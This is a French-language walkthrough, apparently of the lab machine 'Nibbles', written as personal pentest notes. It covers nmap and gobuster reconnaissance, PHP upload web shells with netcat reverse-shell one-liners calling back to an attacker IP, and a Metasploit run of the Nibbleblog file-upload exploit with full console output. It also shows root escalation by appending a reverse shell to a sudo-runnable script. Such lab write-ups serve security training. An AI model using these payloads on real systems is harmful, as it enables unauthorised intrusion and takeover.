D"marches basiques pour une box

1 / Créer un dossier où mettre les documents du hack. Exemple, pour nmap un dossier nmap etc.

2/ **NMAP**

nmap -sV --open -oA nom_des_fichiers <Adresse IP> <- Va scanner les ports usuels (1000) ouverts.

nmap -p- --open -oA nom_des_fichiers <Adresse IP> <- Va scanner tous les ports (65535) et détecter ceux qui sont ouverts.

nmap -sC -p 22,80 -oA nom_des_fichiers <Adresse IP> <- Va scanner les ports sélectionnés (ici entre 22 et 80 inclus) et lancer des scripts sur ces ports pour plus d'informations.

nmap -sV --script=http-enum -oA nom_des_fichiers <Adresse IP> <- Va utiliser un script, ici un script d'énumération http pou scanner le serveur. La liste complète ici : https://nmap.org/nsedoc/

3/ Netcat : utile pour choper les bannières d'un serveur sur un port spécifique découvert avec nmap.

nc -nv <Adresse IP> <Port>
nc -lvnp <Port> <- écouter un port particulier. Par exemple, setup un reverse shell sur un port particulier et écouter ce port.

4/ Whatweb : utile pour trouver quelle application web est utilisée, le pays etc.

whatweb <Adresse IP/dossier_si_présent_etc>

5/ cURL : outil versatile super utile pour faire tout un tas de choses avec les app web.

curl http://Adresse_IP:port <- Va fair un get sur la page (similaire à ctrl + u sur firefox, pour voir le code source.

6/ gobuster : outil très utile pour découvrir des chemins d'accès fichiers etc.

gobuster dir -u http://<Adresse IP>/Dossier --wordlist /usr/share/dirb/wordlists/-common.txt <- va chercher des chemins ad'accès selon un dictionnaire qui regroupe les chemins d'accès courant dans une app web.

7/ Prendre en compte toutes les données possibles pour trouver un user, voire un mot de passe etc.

8/ Si on a accès à un utilisateur, on peut tenter de setup un reverse shell. Par exemple, si on est capable d'upload quoique ce soit, on

pêut tenter d'y accéder via un script php et setup un reverse shell.

Par exemple avec netcat, on peut écouter un port, puis ensuite uploader un shell.php avec un script dedans (en utilisant system('la commande').

Ici un reverse shell via netcat pour Open BSD (Parrot par exemple). Ici on trouve des cheat sheets pour les reverses shells https://highon.coffee/blog/reverse-shell-cheat-sheet/ ou https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/-Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md . Il y a d'autres liens très utiles égalements.

nc -lnvp 6666

```
<?php sytem('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 6666 >/tmp/f'); ?>
OU
<?php system('mkfifo /tmp/lol;nc 10.10.14.2 6666 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol'); ?>
```

9/ Cela nous permet d'avoir accès à un shell. Youpi. Mais le shell est très basique (pas de tty etc), on ne peut pas faire grand chose. Il faut le rendre plus sympa à utiliser.

10/ On peut faire évoluer le terminal :

```
python -c 'import pty; pty.spawn("/bin/bash")'
#OU
python3 -c 'import pty; pty.spawn("/bin/bash")'

#Pour connaître la version de python ou d un programme

which python3
```

Ressource pour upgrader un terminal : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

11/ Une fois ce terminal évolué, on a accès à un utilisateur quelconque. On peut vouloir tenter d'augmenter nos privilèges pour devenir root.

12/ On peut télécharger sur la machine attaquante le script LinEnum.sh, qui va faire quelques trucs pour les évélvations de privilège communes :

```
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o LinEnum.sh
```

Et démarrer un serveur http via python (dans le même dossier que le script) :

```
sudo python3 -m http.server 8080
```

13/ Du côté de la machine attaquée, on peut tenter de récupérer le script via ce serveur :

```
 wget http://ip:8080/LinEnum.sh
```

14/ On execute le script avec le droit d'exe (chmod +x)

15/ On regarde ce qu'il peut y avoir d'intéressant. par exemple un script qui s'execute en sudo sans mot de passe (qu'on ne possède pas apriori donc). On peut ajouter la fin de ce script un reverse shell via netcat, mais qui cette fois nous permettra d'être root !

```
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh
```

Ne pas oublier de etup un listener sur le port choisi (ici 8443)

```
nc -lnvp 8443
```

On execute le script :

```
sudo /home/nibbler/personal/stuff/monitor.sh
```

On est root !

Avec Metasploit

1 / Créer un dossier où mettre les documents du hack. Exemple, pour nmap un dossier nmap etc.

2/ **NMAP**

nmap -sV --open -oA nom_des_fichiers <Adresse IP> <- Va scanner les ports usuels (1000) ouverts.

nmap -p- --open -oA nom_des_fichiers <Adresse IP> <- Va scanner tous les ports (65535) et détecter ceux qui sont ouverts.

nmap -sC -p 22,80 -oA nom_des_fichiers <Adresse IP> <- Va scanner les ports sélectionnés (ici entre 22 et 80 inclus) et lancer des scripts sur ces ports pour plus d'informations.

nmap -sV --script=http-enum -oA nom_des_fichiers <Adresse IP> <- Va utiliser un script, ici un script d'énumération http pou scanner le serveur. La liste complète ici : https://nmap.org/nsedoc/

3/ Netcat : utile pour choper les bannières d'un serveur sur un port spécifique découvert avec nmap.

nc -nv <Adresse IP> <Port>

nc -lvnp <Port> <- écouter un port particulier. Par exemple, setup un reverse shell sur un port particulier et écouter ce port.

4/ Whatweb : utile pour trouver quelle application web est utilisée, le pays etc.

whatweb <Adresse IP/dossier_si_présent_etc>

5/ cURL : outil versatile super utile pour faire tout un tas de choses avec les app web.

curl http://Adresse_IP:port <- Va fair un get sur la page (similaire à ctrl + u sur firefox, pour voir le code source.

6/ gobuster : outil très utile pour découvrir des chemins d'accès fichiers etc.

gobuster dir -u http://<Adresse IP>/Dossier --wordlist /usr/share/dirb/wordlists/-common.txt <- va chercher des chemins ad'accès selon un dictionnaire qui regroupe les chemins d'accès courant dans une app web.

7/ Prendre en compte toutes les données possibles pour trouver un user, voire un mot de passe etc.

8/ Si on a accès à un utilisateur, on peut tenter de setup un reverse shell. Par exemple, si on est capable d'upload quoique ce soit, on pêut tenter d'y accéder via un script php et setup un reverse shell.

```
msf6 > search nibbleblog

Matching Modules
================

   #  Name
Disclosure Date  Rank       Check  Description
```

```
-  ----
---------------  ----       -----  -----------

   0  exploit/multi/http/nibbleblog_file_upload
2015-09-01       excellent  Yes    Nibbleblog File
Upload Vulnerability
```

```
msf6 > use 0
[*] No payload configured, defaulting to php/
meterpreter/reverse_tcp

msf6 exploit(multi/http/nibbleblog_file_upload) > set
rhosts Ip Cible
rhosts => 10.129.42.190
msf6 exploit(multi/http/nibbleblog_file_upload) > set
lhost Ip ma Machine
lhost => 10.10.14.2
```

```
msf6 exploit(multi/http/nibbleblog_file_upload) > show
options

Module options (exploit/multi/http/
nibbleblog_file_upload):

  Name       Current Setting  Required  Description
----       ---------------  --------  -----------
  PASSWORD                    yes       The password
to authenticate with
  Proxies                     no        A proxy chain
of format type:host:port[,type:host:port][...]
  RHOSTS     10.129.42.190    yes       The target
host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
  RPORT      80               yes       The target
port (TCP)
  SSL        false            no        Negotiate SSL/
TLS for outgoing connections
  TARGETURI  /                yes       The base path
to the web application
  USERNAME                    yes       The username
to authenticate with
```

```
  VHOST                     no        HTTP server
virtual host


Payload options (php/meterpreter/reverse_tcp):

  Name   Current Setting  Required  Description
----   ---------------  --------  -----------
  LHOST  10.10.14.2       yes       The listen address
(an interface may be specified)
  LPORT  4444             yes       The listen port


Exploit target:

  Id  Name
--  ----
  0   Nibbleblog 4.0.3

msf6 exploit(multi/http/nibbleblog_file_upload) > set
username admin
username => admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set
password nibbles
password => nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set
targeturi nibbleblog
targeturi => nibbleblog

msf6 exploit(multi/http/nibbleblog_file_upload) > set
payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > show
options

Module options (exploit/multi/http/-
nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   nibbles          yes       The password
to authenticate with
```

```
   Proxies                     no        A proxy chain
of format type:host:port[,type:host:port][...]
   RHOSTS     10.129.42.190  yes       The target
host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
   RPORT      80             yes       The target
port (TCP)
   SSL        false          no        Negotiate SSL/-
TLS for outgoing connections
   TARGETURI  nibbleblog     yes       The base path
to the web application
   USERNAME   admin          yes       The username
to authenticate with
   VHOST                     no        HTTP server
virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.2      yes       The listen address
(an interface may be specified)
   LPORT  4444            yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3


msf6 exploit(multi/http/nibbleblog_file_upload) >
exploit

[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command shell session 4 opened (10.10.14.2:4444 ->
10.129.42.190:53642) at 2021-04-21 16:32:37 +0000
[+] Deleted image.php

id
```

```
uid=1001(nibbler) gid=1001(nibbler)
groups=1001(nibbler)
```

10/ On peut faire évoluer le terminal :

```
python -c 'import pty; pty.spawn("/bin/bash")'
#OU
python3 -c 'import pty; pty.spawn("/bin/bash")'

#Pour connaître la version de python ou d un programme

which python3
```

Ressource pour upgrader un terminal : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

11/ Une fois ce terminal évolué, on a accès à un utilisateur quelconque. On peut vouloir tenter d'augmenter nos privilèges pour devenir root.

12/ On peut télécharger sur la machine attaquante le script LinEnum.sh, qui va faire quelques trucs pour les évélvations de privilège communes :

```
curl https://raw.githubusercontent.com/rebootuser/LinEnum/
master/LinEnum.sh -o LinEnum.sh
```

Et démarrer un serveur http via python (dans le même dossier que le script) :

```
sudo python3 -m http.server 8080
```

13/ Du côté de la machine attaquée, on peut tenter de récupérer le script via ce serveur :

```
 wget http://ip:8080/LinEnum.sh
```

14/ On execute le script avec le droit d'exe (chmod +x)

15/ On regarde ce qu'il peut y avoir d'intéressant. par exemple un script qui s'execute en sudo sans mot de passe (qu'on ne possède pas apriori donc). On peut ajouter la fin de ce script un reverse shell via netcat, mais qui cette fois nous permettra d'être root !

```
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh
```

Ne pas oublier de etup un listener sur le port choisi (ici 8443)

```
nc -lnvp 8443
```

On execute le script :

```
sudo /home/nibbler/personal/stuff/monitor.sh
```

On est root !